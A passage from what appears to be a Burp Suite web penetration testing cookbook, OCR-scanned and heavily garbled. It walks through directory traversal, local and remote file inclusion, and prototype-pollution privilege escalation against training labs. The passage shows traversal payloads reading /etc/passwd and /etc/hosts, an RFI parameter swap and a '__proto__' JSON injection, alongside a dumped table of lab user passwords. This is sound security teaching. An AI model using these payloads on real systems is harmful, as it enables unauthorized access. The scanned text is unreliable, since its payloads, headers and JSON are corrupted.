with Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/Z.6.5
mod_ss1/2.2.14 OpenS5L/0.9.8k Phusion_ Passenger/4.0.36 mod perl/2.0.4
Perl/v5.10.1

X-Powered-By: PHP/S.3.IZ-lubuntud. 30

Set-Cookie: PHPSESSID=lhSkiasfaj7tllgklSeTm5Bne0; path=/

Expires: Thu, 19 Nov 1981 0B8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0

& Pragma: no-cache

9 Vary: Accept-Encoding

10 Content-Length: 2052

11 Connection: close

12 Content-Type: text/html

13

[FUN S

=] o U e

L g ccounts? ername™: " Jer 3 ma L 1
speak™}, {"username”:"The password for admin is

admin”™, "mysignature”:"g0t r00t?"},{"username™:"The password for adrian
is somepassword”,”mysignature”:"Zombie Films Rock!"},{"username”:"The
password for john is monkey”,"mysignature”™:"I like the smell of
confunk”}, {"username": "The password for jeremy is
password”,"mysignature”:"dl373 1337 speak™},{"username”:"The password
for bryce is password”,"mysignature”:"I Love SANS"}, {"username":"The
password for samurai is samurai”,"mysignature”:"Carving

fools"}, {"username”:"The password for jim is
password”,"mysignature”:"Rome is burning”},{"username":"The password
for bobby is password”,"mysignature”:"Hank is my

dad"}, {"username”:"The password for simba is
password”,"mysignature”™:"I am a super-cat”},{"username”:"The password
for dreveil is password"”,"mysignature™:"Preparation
H"},{"username™:"The password for scotty is
password”,"mysignature”:"Scotty do"}, {"username”:"The password for cal
is password”,"mysignature™:"C-A-T-5 Cats Cats Cats"},{"username’”:"The
password for john is password”,"mysignature™:"Do the

Duggie!"}, {"username":"The password for kevin is

42", "mysignature”:"Doug Adams rocks")},{"username”:"The password for
dave is set”,"mysignature™:"Bet on S5.E.T. FTW"}, {"username™: "The
password for patches is

Figure 4.64 — Entire dump of the user table

How it works...

Finding unauthenticated API endpoints is an important testing task that must be performed. This is
a common issue due to the ubiquity of API usage across applications and mobile apps. In Chapter 10,
we will look at a Burp Suite extension that can help us find unauthenticated API endpoints a bit easier.
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Assessing Authorization Checks

This chapter covers the basics of authorization, including an explanation of how an application uses
roles to determine user functions. Web penetration testing involves key assessments to determine
how well the application validates functions assigned to a given role or individual user, and we will
learn how to use Burp Suite to perform these tests.

In this chapter, we will cover the following recipes:

o Testing for directory traversal

o Testing for Local File Inclusion (LFI)

o Testing for Remote File Inclusion (RFI)
o Testing for privilege escalation

o Testing for Insecure Direct Object Reference (IDOR)

Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (BWA) VM: the OWASP Mutillidae application
o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)

o The use of a PortSwigger account to access Web Security Academy (https://portswigger.
net/web-security/all-labs)

o A Firefox browser configured to allow Burp Suite to proxy traffic (https://www.mozilla.
org/en-US/firefox/new/)

o The wfuzz wordlist repository from GitHub (https://github.com/xmendez/wfuzz)


https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
https://www.mozilla.org/en-US/firefox/new/
https://www.mozilla.org/en-US/firefox/new/
https://github.com/xmendez/wfuzz
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Testing for directory traversal

Directory traversal attacks are attempts to discover or force-browse unauthorized web pages usually
designed for administrators of the application. If an application does not configure the web document
root properly and does not include proper authorization checks on the server side for each page accessed,
a directory traversal vulnerability may exist. This type of weakness allows an attack to perform system
command injection exploitation or arbitrary code execution.

Getting ready

Using OWASP Mutillidae II as our target application, let’s determine whether it contains any directory
traversal vulnerabilities.

Ensure that Burp Suite and the OWASP BWA VM are running, that Burp Suite is configured in the
Firefox browser (or use the Burp Suite browser), and that you are viewing the OWASP BWA applications.

How to do it...

1. From the OWASP BWA landing page, click the link to the OWASP Mutillidae II application.

2. Open the login screen of OWASP Mutillidae II in the Firefox browser. From the top menu,
click Login.

3. Find the request you just performed within the Proxy | HT'TP history table. Look for the call
to the login. php page. Highlight the message, move your cursor into the Raw tab of the
Request tab, right-click, and click on Send to Intruder:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v

Dashboard Target Intruder Repeater Collaborator

Extensions Learn

Intercept HTTP history WebSockets history @ Proxy settings

Filter: Hiding out of scope items; hiding CSS, image and general binary content

# Host Method URL
237 http://192.168.29.128 GET /mutillidae/index.php?page=login.php
Request Resp
Pretty Raw Hex 8w = Prett)

II 'GET /mutillidae/index.php?page=login.php HTTP/1.1 1
2THOYCY 1 e 120 2

3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0: Wing4: xE4)

AppleWebKit/537.36 (FHTML, like Gec Scan
Chrome/113.0.5672.127 Safari/537.36
5 Accept: Do passive scan

text/html ,application/xhtml+xml, app
e/avif,image/webp,inage/apng,*/* ;= Do active scan

exchange ;v=b3;q=0.7 Send to Intruder Ctrl+1
& Referer: hten://192.168.29.128/muti

Figure 5.1 — Send to Intruder
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Switch over to the Intruder | Positions tab and clear all Burp-defined payload markers by
clicking the Clear $ button on the right-hand side.

Highlight the value currently stored in the page parameter (Login.php), and place a payload
marker around it using the Add § button:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.4.5 - second_edition_2.burp - licensed to Sunny We... — m} X

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger @Senings

Extensions Learn

B + Q

Payloads Resource pool Settings

@ Choose an attack type m

Attack type: | Sniper ~

(3) Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.
Add §
Target: | http://192.168.29.128 Update Host header to match target
Clear §
L GET /mutillidae/index.php?pagef$§login. php§ |HTTP/1.1
2 Host: 192.168.29.128 Auto §
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Refresh
Chrome/113.0.5672.127 Safari/537.36
5 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application
/signed-exchange;v=b3:;q=0.7

Referer: http://192.1€68.29.128/mutillidae/

7 Accept-Encoding: gzip, deflate

8 Accept-Language: en-US,en;¢=0.9,en-CA;q=0.8

Cookie: showhints=1; PHPSESSID=nfSmgbvcp00tqtktOvkng4lrb4; acopendivids=swingset,jotto,phpbb2,rednine;
acgroupswithpersist=nada

10 Connection: close

12
Figure 5.2 - Intruder | Positions tab

Continue to the Intruder | Payloads tab and select the following wordlist from the wfuzz
repository: admin-panels. txt. The location of the wordlist from the GitHub repository
follows this folder structure: wfuzz/wordlist/general/admin-panels.txt.

Click the Load button within the Payload Options [Simple list] section of the Intruder |
Payloads tab and a popup will display, prompting for the location of your wordlist.
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8. Browse to the location at which you downloaded the wfuzz repository from GitHub. Continue
to search through the wfuzz folder structure (wfuzz/wordlist/general/) until you
reach the admin-panels. txt file, then select the file, and click Open:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.4.5 - second_edition,

Dashboard Target Proxy m Repeater Collaborator Sequencer
Extensions Learn

g 2 x +
Positions Resource pool Settings
@ Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in th
for each payload set, and each payload type can be customized in different ways.

Payload set: | 1 v Payload count: 0

Payload type: | Simple list ~ Request count: 0

(3)| Payload settings [Simple "’4
This payload type lets y] ]

Paste S Look In: general
_ load.. Recent | admin-panels.tct & medium.txt
Remove . o bigaxt D{ megabeast.txt

H catala.txt g mutations_common. et

Clear common.txt Q spanish.bct

Deduplicate IJ euskera.bct g test.ixt
[;3 extensions_common.txt
3 Documents IJ http_methods.txt
Add Ent

Add from list ... | ! File Name: | admin-panels.ﬂxtl

This P ,
Files of Type: | All files
maell

Figure 5.3 - Wordlist loading

9. Scroll to the bottom and uncheck (by default, it is checked) the URL-encode these characters option:

@ Payload encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

EIJRL—encodethﬁe characters: | N=<>?+8&%:"{}|V'#

Figure 5.4 — Uncheck the payload encoding box

10. You are now ready to begin the attack. Click the Start attack button in the top right-hand
corner of the Intruder | Positions page.
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11. The attack results table will appear. Allow the attacks to complete. There are 137 payloads in the
admin-panels. txt wordlist. Sort on the Length column from ascending to descending
order to see which of the payloads hit a web page.

Notice the payloads that have larger response lengths. This looks promising! Perhaps we
have stumbled upon administration pages that may contain fingerprinting information or
unauthorized access:

Request | Payload | Status | Error | Timeout ILenm ¥ | Comment
60 administrator.php 200 | [ 99104
1 admin.php 200 L] L] 99047
Jo 200 a || 50739
21 login.php 200 ] i 50739
120 home.php 200 =] =] 45901

Figure 5.5 — Results table

12. Select one of the pages found in the list with the largest lengths 99,000+, such as admin . php.
From the attack results table, look at the Response | Render tab, and notice the page displays
the PHP version and the system information:

Attack Save Columns 3. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved to project file
Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request Payload Status code  Error  Timeout  Length Comment
1 2dmin.php 200 99574 |

@4 OWASP Mutillidae IIl: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Cap!

OWASP 2013 [

p—— Secret PHP Server Configuration Page

OWASP 2007 % Back @ Help Me!

Web Services

HTML 5

Documentation

Resources System g;u.ﬁu owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010
Build Date Apr 17 2015 15:01:49

” A

Figure 5.6 — One successful result replayed in Repeater
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How it works...

Without even being logged in, we were able to force-browse to an unmapped area of the web application.
The term unmapped means the application itself had no direct link to this secret configuration page.
However, using Burp Suite Intruder and a wordlist containing commonly known administration file
names, we were able to discover the page using the directory traversal attack.

Testing for LFI

Web servers control access to privileged files and resources using configuration settings. Privileged
files include files that should only be accessible to system administrators — for example, the /etc/
passwd file on Unix-like platforms or the boot . ini file on Windows systems.

An LFI attack is an attempt to access privileged files using directory traversal attacks. LFI attacks
include different styles, including dot-dot-slash attacks (../), directory brute-forcing, directory
climbing, or backtracking.

Getting ready

Using OWASP Mutillidae II as our target application, let’s determine whether it contains any
LFI vulnerabilities.

Ensure Burp Suite and OWASP BWA VM are running and that Burp Suite is configured in the Firefox
browser used to view the OWASP BWA applications.

How to do it...

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II application.

2. Open the login screen of OWASP Mutillidae II in the Firefox browser. From the top menu,
click Login.

3. Find the request you just performed within the Proxy | HT'TP history table. Look for the call
to the login. php page. Highlight the message, move your cursor into the Raw tab of the
Request tab, right-click, and select Send to Intruder.

4. Switch over to the Intruder | Positions tab and clear all Burp-defined payload markers by
clicking the Clear § button on the right-hand side.

5. Highlight the value currently stored in the page parameter (login. php) and place a payload
marker around it using the Add § button on the right-hand side.

6. Continue to the Intruder | Payloads tab. Select the following wordlist from the wfuzz repository:
Traversal. txt. The location of the wordlist from the GitHub repository follows this folder
structure: wfuzz/wordlist/injections/Traversal . txt.
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7. Click the Load button within the Payload Options [Simple list] section of the Intruder |
Payloads tab. A popup will display, prompting for the location of your wordlist.

8. Browse to the location at which you downloaded the wfuzz repository from GitHub. Continue
to search through the wfuzz folder structure until you reach the Traversal . txt file.
Select the file and click Open:

Dashboard Target Proxy Repeater Collaborator Sequen

Organizer Extensions Learn

1 x 2y +

Positions Resource pool Settings
(3) Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type
for each payload set, and each payload type can be customized in different ways.

Payloadset: | 1 v Payload count: 68

Payload type: | Simple list v Request count: 68

() | Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste ol ol d ok o oS o A S et hOSES %00
Lok o bk ol o A S St/ hosts
/../boct.ini

Remove

o Look In: Injections
Deduplicate =t )
Recent il All_attack.txt
g bad_chars.txt
Add Enter a new ite| g sQLixt
Add from list . [ Traversal.xt

i XMLxt
[ XSSt

Documents

@ Payload processing
You can define rules to perform va !

This PC File Name: Traversal txt

Add Enabled

Figure 5.7 — Wordlist loading

9.  Scroll to the bottom and uncheck (by default, it is checked) the URL-encode these characters option.
10. You are now ready to begin the attack. Click the Start attack button at the top-right-hand

corner of the Intruder | Positions page.

11. The attack results table will appear. Allow the attacks to complete. Sort on the Length column from
ascending to descending order to see which of the payloads hit a web page. Notice the payloads
with larger lengths; perhaps we gained unauthorized access to the system configuration files!
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0 200 (] @] 50739
A AL Teteihosts %600 200 0] U 42092
____________ 200 O O 41408

3 200 a U 41900

4 LA A A A0 %24, 200 (] U 41972

5 AL A A fetcipasswdS600 200 a O 42098

§ b b AL A fetcipasswd 200 a (= 42274

Figure 5.8 — Results table snippet

12. Select request 2 in the list. From the attack results table, look at the Response | Render tab and
notice the page displays the contents of the host file from the system! Alternatively, you can
also send the request to Repeater and replay the attack to see the same result.

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn o]
1 % +
@] Ccance <|v Target: http://192.16829.128 /7  H1
==
Request Response m
re Raw  Hex N = | pretty Raw  Hex  Render s wn
|: GET /mutillidae/index.php2page= |
sotoidiidoidoitiidiideideitoof /. JoEC/DOSES|HTTP/1. 1 _-rp -
THow 1oz 108 . 19 ®% OWASP Mutillidae Il: Web Pwn in
3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winé4d; x€4)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Mass Productlon

Safari/537.3€
© Accept: Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript
K1idd1e) NotLogged In

text/html,application/xhtml+xnl,application/xml;q=0.9,image/avif
,image /webp, image /apng,*/*;q=0.8, application/siged-exchange ;v=b
3:q=0.7

6 : Show

6 |Referer: - N Toggle Enforce Reset View
hrtp: //192, 168,29, 128/mutillidae/index, php?page=user-info.php Home  Login/Register i . cob SSL DB

7 Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

9 Cookie: showhints=1; PHPSESSID=sldhpSELSffglotSdgldacd28l; OWASP 2013 »

acopendivids=svingset,jotto,phpbbZ,rednine; acgroupsvithpersist= 127.0.0.1 localhost 127.0.1.1 owaspbwa

nada bwa localdomain # following lines are for
. . OWASP 2010 P owasp - g ¢
10|Connection: cloae _ the hackxor application 127.0.0.1 wraithmail

12 127.0.0.1 cloaknet 127.0.0.1 gghb 127.0.0.1
hub?1 127.0.0.1 utrack 127.0.0.1 wraithbox # the
following are used for OWASP 1 Liner 127.0.0.1
local.1-liner.org 127.0.0.1 other. 1-liner.org
127.0.01 local l-liner.org 127.0.0.1 3rd-party.info
127.0.0.1 attackr se # The following lines are
desirable for IPv6 capable hosts ::1 localhost ip6-

localhost ip6-loopback fe00::0 ip6-localnet ff00::0

ipB-mcastprefix ff02::1 ip6-allnodes f02::2 ip6-

allrouters ff02::3 ip6-allhosts

Figure 5.9 — One successful result replayed in Repeater

How it works...

Due to poorly protected file permissions and a lack of application authorization checks, attackers
can read privileged local files on a system containing sensitive information. The danger behind LFI
vulnerabilities is the discovery of secrets, API keys, source code, and configuration files. Revelations
of these kinds have the potential to lead to remote code execution, system account takeovers, or even
pivoting to other machines across the network.
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Testing for RFI

RFI is an attack that attempts to access external URLs and remotely located files. This kind of attack
is possible due to parameter manipulation, a lack of server-side checks, and a lack of whitelisting for
outbound traffic at the firewall level. These oversights may lead to data exfiltration of user information
to external servers controlled by an attacker.

Getting ready

Using OWASP Mutillidae II as our target application, let’s determine whether it contains any
RFI vulnerabilities.

Ensure Burp Suite and OWASP BWA VM are running and that Burp Suite is configured in the Firefox
browser used to view the OWASP BWA applications.

How to do it...

1. From the OWASP BWA landing page, click the link to the OWASP Mutillidae IT application.

2. Open the login screen of OWASP Mutillidae II in the Firefox browser. From the top menu,
click Login.

3. Find the request you just performed within the Proxy | HTTP history table. Look for the call
to the login. php page:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.2 - 5
Dashboard Target Intruder Repeater Collaborator Sequen

Logger Organizer Extensions Learn

Intercept WebSockets history {5 Proxy settings

Filter: Hiding CSS, image and general binary content

# Host Method URL
o -
http://192.168.29.128 GET /mutillidae/index.php?page=login.php
Request Response
Pretty Raw Hex a n = Pretty Raw Hex
I 1 GET /nu\:i.l.lid.ae/index.Ehnggage:lugin.pg:IHTTP!l.l 1 HTTP/1.1 200 OK
~2 Host: 192.1EB.29.128 2 Date: Sun, 04 O
3 Upgrade-Insecure-Requests: 1 3 Server: Apache/:
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; PHP/5. 3. 2-1ubunt
XE4) AppleWebKit/537.36 (KHTML, like Gecko) proxy html/3.0.]
Chrome/114.0.5735.91 Safari/S537.3€ mod_ssl/2.2.14 ¢
S Accept: Phusion_Passengt
text/htnl, application/xhtml+xnl,application/xml;q=0 Perl/w5.10.1

.9,image/avif, image/webp, image/apng, */*;q=0.8,appli
cation/signed-exchange ;v=b3;q=0.7

X-Powered-By: PI
Logged-In-User:

W

€ Referer: http://192.168.29.128/mutillidae/ € Vary: Accept-Em
7 Accept-Encoding: gzip, deflate 7 Content-Length:
8 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 2 Connection: clo
S Cookie: showhints=Z2; PHPSESSID= % Content-Type: te
sldhp5E19£EglotSdgldasd287; acopendivids= 10
swingset,jotto,phpbbZ,rednine; acgroupswithpersist= 11
nada 12
10 Connection: close 13 <!DOCTYPE HTHML I
11 Transitional//El
12 "http: //wew. w3.«

oose.dtd">

Figure 5.10 - Finding the POST login request
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4. Make a note of the page parameter that determines the page to load:

Request

Prett Raw Hex = N =
1 GET fmutilli-:laefindex.phﬂ?gaqe:loc[in.phpll‘l’I‘I‘PM.l

Figure 5.11 — Note the page parameter

Let’s see whether we can exploit this parameter by providing a URL that is outside the application.
For demonstration purposes, we will use a URL that we control in the OWASP BWA VM.
However, in the wild, this URL would be attacker-controlled instead.

5. Switch to the Proxy | Intercept tab, and press the Intercept is on button.

6. Return to the Firefox or Burp Suite browse, and reload the login page. The request is paused
and contained within the Proxy | Intercept tab:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.2 - se

Dashboard Target Intruder Repeater Collaborator Sequenc

Logger Organizer Extensions Learn

HTTP history WebSockets history {G} Proxy settings

rward Drop Intercept is on Action Open browser

Intercept is on

Figure 5.12 - Proxy | Intercept is on
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7.  Now let’s manipulate the value of the page parameter from login . php to a URL that is external
to the application. Let’s use the login page to the GetBoo application. Your URL will be specific
to your machine’s IP address, so adjust accordingly. The new URL will be http://<your_
IP address>/getboo/.

8. Reload the login page in your browser that is sending traffic to Burp Suite by clicking the refresh
button or pressing F5. You may also wish to click the Login/Register button again.

@ OWASP Mutillidae II:

Version: 2.6.24  Security Level: 0 (Hosed)

Toggle Show Popup
Hints Hints

Home | Login/Register

Figure 5.13 - Clicking the Login/Register button

9. Notice the request is held up in Proxy | Intercept. You may need to click the Forward button
until you reach the GET /multillidae/index.php?page=1login.php request. Now
we can manipulate the values before sending the request to the web server:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - ses

Dashboard Target Intruder Repeater Collaborator Sequenc

Logger Organizer Extensions Learn
HTTP history WebSockets history {S) Proxy settings

/P Requestto hitp://192.168.29.128:80

Forward Drop Intercept is on Action Open browser
Prett Raw Hex n: =

|; GET /mutillidae/index.php?page=login.php IH'l'l'P/l. 1

2 Host: 192.168.29.128

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Vindows NT 10.0; WinE4: x€4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36

5 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image /web

p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer:

http: //192.168.29.128/mutillidae/index.php ?popUpliotificationCode=L1H0spage

=login.php

Accept-Encoding: g¢gzip, deflace

9 Accept-Language: en-US,en;g=0.9,en-CA;q=0.8|

Cookie: showhints=0; PHPSESSID=slcdhpSLlSffglotSdgldasdlE’; acopendivids=

swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada

) Connection: close

o

o

Figure 5.14 - Login request captured in Proxy Intercept
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10. Let’s start manipulating the parameters by replacing the login.php value with http: //<your
IP address>/getboo/ and clicking the Forward button:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed to Sunt
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer

Organizer Extensions Learn
Intercept I HTTP history WebSockets history {5} Proxy settings

é’ Request to http://192.168.29.128:80

Forward Drop Action Open browser

Pretty Raw Hex

1 GET /mcillidae/ind.ex.ph+page=hl‘.r.p:/flSZ.lEE.DS.l:S/getboc/ Fﬂ'l’fl.l
Host: 192.168.29.128

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWebKit/537.36 (FHTML, like Gecko) Chrome/114.(

Safari/537.36

Accept:

text/htnl,application/xhtml+xml,application/xml;q=0.9,inage/avif, image/webp, image/apng, */*;q=0.8,applical

change ;v=b3;q=0.7

Referer: htep://192.168.29.128/mutillidae/index. php ?popUpNotificationCode=L1HOspage=login. php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=0; PHPSESSID=sldhp5flSffglotSdglda=d287; acopendivids=swingset,jotto,phpbbZ,redmine;

acgroupswithpersist=nada

10 Connection: close

O 00 -1 M [ B SR N

Figure 5.15 — Redirecting the user to the GetBoo application

11. Now press Intercept is on again to toggle the intercept button to off (Intercept is off).

12. Return to the Firefox browser and notice the page loaded is the GetBoo index page within the
context of the Mutillidae application!

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View Captured Data

OWASP 2013 .
Please remove the /install folder now

OWASP 2010 »
GetBoo Logo

OWASP 2007 i
About / Help / Register / Log In

HTML 5 .
Welcome to getboo! Discover

The social bookmarking open-source platform. Submit Query

Recent Tags

Documentation

OWASP Home Page
OWASP Home Page
_— owasp by user ... on 2010-11-09
Getting Started: comment(1)
Project Whitepaper

OWASP Broken Web Applications Project Home Page
OWASP Broken Web Applications Project Home Page
p owasp by user ... on 2010-11-09
submit comment

Release
Announcements
You Previous | Next Displaying 10 20 30 40 50 per page
RSS icon feed for this page
Video

Figure 5.16 — Evidence of a successful redirection
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How it works...

The page parameter does not include proper data validation to ensure the values provided are
whitelisted or contained in a prescribed list of acceptable values. By exploiting this weakness, we can
dictate values to this parameter, redirecting our victim to a page of our choice, or worse, data exfiltration
cookie information and scrape sensitive data from our victim’s browser session.

Testing for privilege escalation

Developer code in an application must include authorization checks on assigned roles to ensure an
authorized user is not able to elevate their role to a higher privilege. As an attacker, frequent targets
for accessing elevated functionality include parameter tampering, forced browsing, and authentication
bypass. These types of privilege escalation attacks may potentially occur by modifying the value of an
assigned role or parameter value and replacing that value with another. If the attack is successful, the
bad actor gains unauthorized access to resources or functionality normally restricted to administrators
or more powerful accounts.

Getting ready

Let’s use the Privilege escalation via server-side prototype pollution PortSwigger lab, which is located in
the Prototype pollution section of All labs, as our target application. We will attempt to find a weakness
in the Node.js inheritance hierarchy to elevate our privileges within the application.

Log in to your PortSwigger account and navigate to the following URL: https://portswigger.
net/web-security/prototype-pollution/server-side/lab-privilege-
escalation-via-server-side-prototype-pollution. Ensure Burp Suite is running
and sending traffic through either Firefox or the Burp Suite browser.

How to do it...

1. From the Lab: Privilege escalation via server-side prototype pollution landing page, click the link
entitled Access the lab. If you do not see the Access the lab button, make sure you are logged
in to your PortSwigger account.
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A portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-p

Web Security Academy > Prototype pollution > Server-side vulnerabilities > Lab

Lab: Privilege escalation via server-side
prototype pollution

‘ YORsHl=

PRACTITIONER
5 LB ‘ Solved

This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it
unsafely merges user-controllable input into a servér-side JavaScript object. This is simple to detect because any
polluted properties inherited via the prototype chainjare visible in an HTTP response.

To solve the lab:
1. Find a prototype pollution source that you can usé€l to add arbitrary properties to the global object.prototype .

2. |dentify a gadget property that you can use to escdlate your privileges.
3. Access the admin panel and delete the user carZps .

You can log in to your own account with the following Bredentials: wiener:peter

[E] Note

When testing for server-side prototype pollution, it's possible to break application functionality or even bring down
the server completely. If this happens to your lab, yo§ can manually restart the server using the button provided
in the lab banner. Remember that you're unlikely to hiave this option when testing real websites, so you should

always use caution. l

Access the lab

Figure 5.17 - Starting the PortSwigger lab instance

2. A new tab will open in your browser and a unique instance of the lab will start up just for
you. Your URL will be unique, thus different from the one shown in the following screenshot.

<« > c[ @ Oaf20075041b83238003257400d70043.web-security»academy.net] e % O ® 0O
Web Securlty [Prlwlege escalation via server-side prototype poIIutlon] 5

Academy|%] Back o b descripton

Home | My account

WE LIKE TO

SHOP .-‘H
3 T i

Figure 5.18 — Instance of the lab running
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3. With traffic running through Burp, log in to the application instance by clicking the My account
link on the top right-hand side. You will be presented with a login page.

Web Security Privilege escalation via server-side prototype ‘;‘

pollution
Academy /(%]
Back to lab description »>

Login

Username

Password

Figure 5.19 - Login page

4. Credentials are provided in the lab description and solution, which are username wiener
and password peter. Log in to the application. After logging in, you will be presented with a
profile page. Update the address field with a number or additional letter and submit.

web Security Privilege escalation via

side prototype pollution
Academy %]

Back to lab description >

Home |

My Account

Your username is: wiener

Billing and Delivery Address
Line 1

Wiener HQ

Line 2
One Wiener Way

City

Wienerville

Postcode
BU1 1RP

Country
UK

Submit I
A

Figure 5.20 - Profile landing page
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5. Switch to Burp’s Proxy | HTTP history tab. Find the POST request you just made on the profile
page to update the address:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger @Sen
Organizer  Extensions  Learn

Intercept I ) Fﬁﬁnry 1 WebSockets history @waysenings
‘ Filter: Hiding CSS, image and general binary content

#v Host Method URL Params  Edited  Status code

af2007c041b83238003... GET /o
v 200 4
==

Request Response

Pretty  Raw  Hex B » = Pretty  Raw  Hex  Render 8w =

1 POST /my-account/change-address HTTP/2 1 HTTP/2 200 OR

2 Host: 2 X-Povered-By: Express

0af2007c041bB83238003267400470043. web-security-acadeny.n 3 Cache-Control: no-store
et 4 Content-Type: application/json; charset=utf-8

3 Cookie: session=PU0lzVtnWxJoarSIcLZadllbNnXclaXm 5 Etag: W/"c7-5g3g2ulKpDPexzXJ0Ix0Y25Xe94™

4 Content-Length: 170 € Date: Sun, 04 Jun 2023 13:08:49 GMT

5 Sec-Ch-Ua: 7 Keep-Alive: timeout=5

€ Sec-Ch-Ua-Platform: " & X-Frame-Options: SAMEORIGIN

7 Sec-Ch-Ua-Mobile: 20 9 Content-Length: 199

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x&4) 10

AppleWebKit/537.36 (KHTML, like Gecko) 11
Chrome/114.0.5735.91 Safari/s37.36
9 Content-Type: application/json;charset=UTF-8
10 Accept: */*
11 Origin:
https: //0a£2007c041b83238003267400d70043. web-security-a
cademy.net T
12 Sec-Fetch-Site: same-origin "postcode”:
13 Sec-Fetch-Mode: cors "country”: "UK",
14 Sec-Fetch-Dest: empty "isAdmin":false
15 Referer: }
https: //0a£2007c041b83238003267400d70043. web-security-a
cadeny.net/my-account
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

"username”:"wiener",
"firstname”:"Peter”,

"lastname":"Wiener",
| !

"country”: "UK",
"sessionId":"PU01ZVeniixJoarSIcL2adl LblinXelaxn"”
}

Figure 5.21 - Finding the address change POST request in the Proxy HTTP history table

6. Right-click and select Send to Repeater:

Figure 5.22 — Send to Repeater

Dashboard Target Intruder Repeater Collaborator
Organizer Extensions Learn
Intercept HTTP history WebSockets history {) Proxy settings
‘ Filter: Hiding CSS, image and general binary content
# Host Method URL
82 https://0af2007c041083238003... GET /my-account
81 [ itos/0s2007cOTBATIR005. POSTmy-sccount/change-sddrss |
Request Respor
Pretty Raw Hex \n = Pretty
1 POST /my-account/change-address HTTP/2 1 HTTP,
2 Host: 2 WaRay
0af2007c041bB3238003267400d70043. wr Scan 1
et q
3 Cookie: session=PU0lzVtnWxJoarSIcL Do passive scan
4 Content-Length: 170 .
¢ |Sec—th-Tas Do active scan |
€ Sec-Ch-Ua-Platform: " Send to Intruder Ctrl+l i
7 Sec-Ch-Ua-Mobile: 20 {
2 User-Agent: Mozilla/5.0 (Windovs send Cu+R
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In Repeater, add a prototype property of proto_ to the JSON POST body. Inside the
new property, add a fake name/value pair. If you place the following prototype property at the
beginning or middle of the existing JSON body, you must add a comma; otherwise, you will
receive a JSON parsing error:

" proto ": {
"foo" : "bar"

b

This is shown in the following screenshot:
Dashboard ~ Target  Proxy  Intruder Collaboratc
Extensions Learn
0 +

m @ Cancel <|v||>|* Target: h

Request

Pretty  Raw  Hex 8 w» =
1 POST /my-account/change-address HTTP/Z

Z Host:

0a£Z007c041bB832368003267400d70043, web-gsecurity-acadeny.net
Cookie: session=PU0lzVenWxJoarSlcLiadllblnXclaXm
Content-Lengch: 209
Sec-Ch-Ua:
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Mobile: 20
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&d)
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/114.0.5735.91
Safari/s537.36
9 Content-Type: application/json;charsec=UTF-8
10 Accept: */*
11 Origin:
https: //0af2007¢041bB3238003267400470043 . web-security-acadeny
net
12 Sec-Fetch-Site: same-origin
